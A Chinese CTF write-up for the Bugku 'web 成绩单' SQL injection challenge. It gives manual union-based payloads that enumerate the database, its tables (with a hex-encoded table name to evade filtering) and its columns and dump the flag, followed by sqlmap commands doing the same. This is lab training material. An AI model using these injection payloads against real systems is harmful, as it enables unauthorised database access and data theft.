web——成绩单(90)——Bugku

0×00 靶场链接

http://123.206.87.240:8002/chengjidan/

 
0×01 题目描述

web——成绩单(90)——Bugku

web——成绩单(90)——Bugku

应该就是一个注入题了

 

0×02 解题过程

输入1

web——成绩单(90)——Bugku

输入2

web——成绩单(90)——Bugku

输入3

web——成绩单(90)——Bugku

输入4

web——成绩单(90)——Bugku

说明一共就3个字段

现在尝试一下手注

输入1'--+    依旧报错

web——成绩单(90)——Bugku

再试试1'     依旧报错

web——成绩单(90)——Bugku

再试试1'#    没有报错了

web——成绩单(90)——Bugku

这说明本题--+被过滤掉了

再来看数据库有几列

1234对应的数据库分别有:姓名,Math,English,Chinese,我们利用Order By来看看到底有几列

 

Payload:1' order by 4#  返回正常

web——成绩单(90)——Bugku

1’ order by 5#,返回异常

web——成绩单(90)——Bugku

所以确定一共只有四个列

开始**库,表,字段

在进行联合查询时,首先需要把前面的id给清空才能显示我们后面查询的内容

我们把id置为-1,然后union select

构造id=-1’ union select 1,2,3,4#,得到如下四个回显点

web——成绩单(90)——Bugku

然后看看数据库名称,注意标点一定要是英文啊

构造 id=-1' union select 1,2,3,database()#

web——成绩单(90)——Bugku

再看表名

这里记一点零碎的知识:
mysql中的information_schema 结构用来存储数据库系统信息

id=-1' union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema=database()#

web——成绩单(90)——Bugku

最后来爆字段名

id=-1' union select 1,2,3,group_concat(column_name) from information_schema.columns where table_name=0x666c3467#

这里用到了16进制编码来绕过,因为flag是敏感信息,可能会被过滤

id=-1' union select 1,2,3,group_concat(column_name) from information_schema.columns where table_name=fl4g.sc#

否则查出来是空

web——成绩单(90)——Bugku

最后查询数据

id=-1' union select 1,2,3,skctf_flag from fl4g#

web——成绩单(90)——Bugku

 

2.SQLMAP法

随便输入数字然后抓包

把抓到的包另存为txt文件,然后在sqlmap里面跑

web——成绩单(90)——Bugku

web——成绩单(90)——Bugku

丢到sqlmap里,直接拖拽

构造命令 python sqlmap.py -r C:\Users\Zichel\Desktop\1.txt,这一步是查询是否存在sql注入

web——成绩单(90)——Bugku

找到了数据库类型和注入点

web——成绩单(90)——Bugku

接下来查询当前数据库

python sqlmap.py -r C:\Users\Zichel\Desktop\1.txt --current-db(无空格)

web——成绩单(90)——Bugku

web——成绩单(90)——Bugku

数据库名得到,为skctf_flag

查询有哪些数据表

python sqlmap.py -r C:\Users\Zichel\Desktop\1.txt -D skctf_flag –tables

web——成绩单(90)——Bugku

web——成绩单(90)——Bugku

看样子就是第一个表fl4g比较像

我们查询第一个表fl4g有那些列

python sqlmap.py -r C:\Users\Zichel\Desktop\1.txt -D skctf_flag –T fl4g –columns

web——成绩单(90)——Bugku

web——成绩单(90)——Bugku

我们来看看skctf_flag列的内容

python sqlmap.py -r C:\Users\Zichel\Desktop\1.txt -D skctf_flag –T fl4g -C skctf_flag --dump

一定要注意格式呀呀呀呀呀呀

web——成绩单(90)——Bugku

web——成绩单(90)——Bugku

结束